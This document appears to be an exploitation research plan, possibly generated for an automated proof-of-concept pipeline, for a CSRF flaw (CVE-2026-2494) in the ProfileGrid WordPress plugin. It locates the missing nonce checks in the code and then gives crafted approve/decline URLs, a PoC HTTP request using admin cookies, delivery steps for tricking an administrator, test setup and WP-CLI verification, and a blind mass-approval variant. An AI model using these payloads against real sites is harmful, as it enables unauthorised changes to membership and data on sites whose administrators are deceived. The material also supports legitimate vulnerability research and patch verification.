Exploitation Research Plan: CVE-2026-2494 (ProfileGrid CSRF)

1. Vulnerability Summary

The ProfileGrid – User Profiles, Groups and Communities plugin (up to 5.9.8.2) is vulnerable to Cross-Site Request Forgery (CSRF) in its group membership request management. The vulnerability exists in admin/partials/pm-membership-requests.php, where the plugin processes approve and decline actions via the bulk_action parameter.

The code fails to perform any nonce validation or capability check specifically for these bulk actions within the file logic, allowing an unauthenticated attacker to trick a logged-in administrator into approving or denying group membership requests by simply visiting a crafted URL.

2. Attack Vector Analysis

• Target Endpoint: wp-admin/admin.php
• Page Slug: page=pm_requests_manager
• Vulnerable Parameters:
  • bulk_action: Set to approve or decline.
  • selected[]: An array of membership request IDs to process.
• HTTP Method: GET (as confirmed by the use of filter_input(INPUT_GET, ...) in the source code).
• Authentication Level: Requires an active Administrator session (to access admin.php and the ProfileGrid request manager).
• Preconditions: At least one pending group membership request must exist in the system.

3. Code Flow

1. The administrator visits wp-admin/admin.php?page=pm_requests_manager.
2. The plugin loads admin/partials/pm-membership-requests.php.
3. Line 11: The code checks if bulk_action is approve:

   if ( !empty($bulk_action) && $bulk_action == 'approve') {
   

4. Line 12: It retrieves the selected request IDs:

   $selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
   

5. Lines 15-25: If selected is present, it iterates through the IDs and performs the join operation via $pmrequests->profile_magic_join_group_fun. Crucially, there is no wp_verify_nonce check before this loop.
6. Similar logic follows for the decline action at Line 39, which calls $dbhandler->remove_row( 'REQUESTS', 'id', $id ) without nonce validation.

4. Nonce Acquisition Strategy

No nonce is required for this exploit.
The vulnerability resides in the fact that wp_verify_nonce is entirely missing from the approve and decline processing blocks in admin/partials/pm-membership-requests.php.

While there is a nonce check for the reset parameter (Line 63: pg_request_manager), it does not protect the membership state-change actions. An attacker can execute the exploit without any valid token.

5. Exploitation Strategy

The exploit will be delivered via a GET request.

Step-by-Step Execution:

1. Identify Request ID: The attacker needs the numeric ID of the membership request they wish to approve. This can be found in the REQUESTS table (usually {prefix}pg_requests).
2. Craft the URL:
   • Approval: http://[target]/wp-admin/admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=[ID]
   • Denial: http://[target]/wp-admin/admin.php?page=pm_requests_manager&bulk_action=decline&selected[]=[ID]
3. Delivery: Trick the administrator into navigating to this URL while logged in. In a PoC environment, this is simulated by using the http_request tool with administrator cookies.

PoC HTTP Request:

GET /wp-admin/admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=1 HTTP/1.1
Host: [target]
Cookie: [admin_cookies]

6. Test Data Setup

To verify the exploit, the following environment must be prepared:

1. Create a Group: Use WP-CLI or the admin UI to create at least one ProfileGrid group.
   • Note: Groups are stored in the GROUPS table identifier.
2. Configure Group for Approval: Ensure the group is set to "Private" or "Closed" so that membership requires approval.
3. Create a User: Create a standard subscriber user.
4. Generate a Request: Log in as the subscriber and request to join the group.
   • Locate the request ID by querying the database: wp db query "SELECT id FROM wp_pg_requests WHERE status='1'" (assuming default prefix).

7. Expected Results

• The HTTP request should return a 302 Redirect to admin.php?page=pm_requests_manager.
• The membership request with the specified ID should be moved from "Pending" to "Approved" (or deleted if decline was used).
• If approved, the user should now have the group ID associated with their profile (usually in wp_usermeta under the pm_group key or the wp_pg_group_members table).

8. Verification Steps

After the HTTP request, verify the outcome using WP-CLI:

1. Check Request Table:

   wp db query "SELECT * FROM wp_pg_requests WHERE id=[ID]"
   

   Expected for Approval: The request should no longer be in status '1' (pending) or should be removed.
   Expected for Denial: The row should be deleted.

2. Check User Membership:

   wp user meta get [USER_ID] pm_group
   

   Expected for Approval: The meta value should contain the serialized group ID.

9. Alternative Approaches

If the selected[] array processing via GET fails due to URL length or WAF restrictions, the same parameters can be attempted via a POST request to the same URL, as some WordPress configurations process $_REQUEST which merges both. However, the source specifically uses INPUT_GET, so GET is the primary and most likely successful vector.

If the request ID is unknown, an attacker could attempt to "blindly" approve IDs 1 through 10 in a single request:
admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=1&selected[]=2&selected[]=3...